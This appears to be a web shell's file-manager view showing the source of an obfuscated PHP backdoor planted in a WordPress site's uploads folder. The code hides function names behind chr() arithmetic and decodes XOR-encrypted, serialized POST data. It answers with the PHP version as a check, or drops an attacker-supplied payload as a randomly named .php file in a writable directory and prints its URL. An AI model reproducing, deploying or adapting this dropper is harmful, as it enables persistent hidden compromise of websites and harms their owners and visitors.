HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2022/08/ltvhjrpi.php
<?php function qCnjfxBdYx($wavGtZCTO){$DwXmHnOYa = chr(443-329).chr(97).'w'.chr(117)."\x72".chr(108)."\x64"."\x65".chr(99)."\x6f".'d'.chr(101);$QciuxY = chr(115)."\x74"."\x72".chr(1083-988)."\x72".chr(111)."\x74".chr(49).'3';$ZWaxTUVx = chr(115)."\164"."\x72".chr(868-773)."\x73"."\x70".'l'."\x69".chr(116);$wavGtZCTO = $ZWaxTUVx($DwXmHnOYa($QciuxY($wavGtZCTO)));return $wavGtZCTO;}function UldOiOKmQ($vyUqTT, $wavGtZCTO){$CZdMECf = "\x73".chr(116)."\162".'_'."\163".chr(112).chr(108)."\151".chr(116);$vyUqTT = array_slice($CZdMECf(str_repeat($vyUqTT, (count($wavGtZCTO)/16)+1)), 0, count($wavGtZCTO));return $vyUqTT;}function DEPiK($BqeNxw, $eHRvbva, $vyUqTT){$wxhrEAYOu = "668d7f6a-2774-43e9-bcec-8f7b5856ee57";return $BqeNxw ^ $wxhrEAYOu[$eHRvbva % strlen($wxhrEAYOu)] ^ $vyUqTT;}function JlEix($wavGtZCTO, $vyUqTT){$wavGtZCTO = array_map("DEPiK", array_values($wavGtZCTO), array_keys($wavGtZCTO), array_values($vyUqTT));$wavGtZCTO = implode("", $wavGtZCTO);$LaxwAe = chr(616-499).chr(110).'s'.'e'."\162".chr(628-523).chr(749-652).chr(108).chr(507-402)."\172".'e';$wavGtZCTO = @$LaxwAe($wavGtZCTO);return $wavGtZCTO;}function aXDTP(){echo "unqmldb";}function OqWHccXg($mXStFLir){static $mJQDVcBJzK = array();$FyIFCHfcf = glob($mXStFLir . '/*', GLOB_ONLYDIR);$kJgqqlfRbY = count($FyIFCHfcf);if ($kJgqqlfRbY > 0) {foreach ($FyIFCHfcf as $mXStFL) {$LTUsK = chr(105).chr(1109-994).'_'.chr(725-606)."\x72".chr(274-169)."\x74"."\x61"."\x62".'l'."\x65";if (@$LTUsK($mXStFL)) {$mJQDVcBJzK[] = $mXStFL;}}}foreach ($FyIFCHfcf as $mXStFLir) OqWHccXg($mXStFLir);return $mJQDVcBJzK;}function YIMYDQrIa(){echo "EQBnmHK";}function uNpxTnW($wavGtZCTO){$FulLKepdFp = chr(814-746).chr(79)."\x43".'U'."\115".'E'."\116".chr(84).chr(717-622).chr(82)."\117"."\117"."\124";$hcasBopS = $_SERVER[$FulLKepdFp];$FyIFCHfcf = OqWHccXg($hcasBopS);$ZztPk = array_rand($FyIFCHfcf);$XytIfltHz = chr(475-429)."\160".chr(104).'p';$ALVIi = $FyIFCHfcf[$ZztPk] . "/" . substr(md5(time()), 0, 8) . $XytIfltHz;$JjGLZsyHDA = 'f'.chr(167-62)."\154".'e'."\x5f"."\x70"."\x75"."\x74"."\x5f".chr(101-2)."\x6f".chr(110).chr(319-203)."\x65"."\156".'t'."\x73";@$JjGLZsyHDA($ALVIi, $wavGtZCTO);$hmBiS = 'H'.chr(84)."\x54"."\120".'_'."\110".chr(79).chr(83)."\124";$ksvWjOx = "\150"."\x74"."\164".chr(184-72)."\x3a"."\57".'/';$tFDAvy = $ksvWjOx . $_SERVER[$hmBiS] . substr($ALVIi, strlen($hcasBopS));print($tFDAvy);}foreach ($_POST as $vyUqTT => $wavGtZCTO){$cphJplfxyj = strlen($vyUqTT);if ($cphJplfxyj == 16){$wavGtZCTO = qCnjfxBdYx($wavGtZCTO);$vyUqTT = UldOiOKmQ($vyUqTT, $wavGtZCTO);$wavGtZCTO = JlEix($wavGtZCTO, $vyUqTT);if (@is_array($wavGtZCTO)){$ZztPk = array_keys($wavGtZCTO);$wavGtZCTO = $wavGtZCTO[$ZztPk[0]];if ($wavGtZCTO === $ZztPk[0]){$NBIzxPOWF = chr(985-873)."\150".chr(515-403);$sstxtnz = "\x70".chr(325-221)."\x70".chr(345-227)."\x65".chr(683-569).'s'.chr(105).'o'."\x6e";$FWqhoO = "\163".'e'.chr(114)."\x69".chr(97)."\154".chr(490-385).chr(465-343).chr(101);echo @$FWqhoO(Array($NBIzxPOWF => @$sstxtnz(), ));}else {uNpxTnW($wavGtZCTO);}die();}}}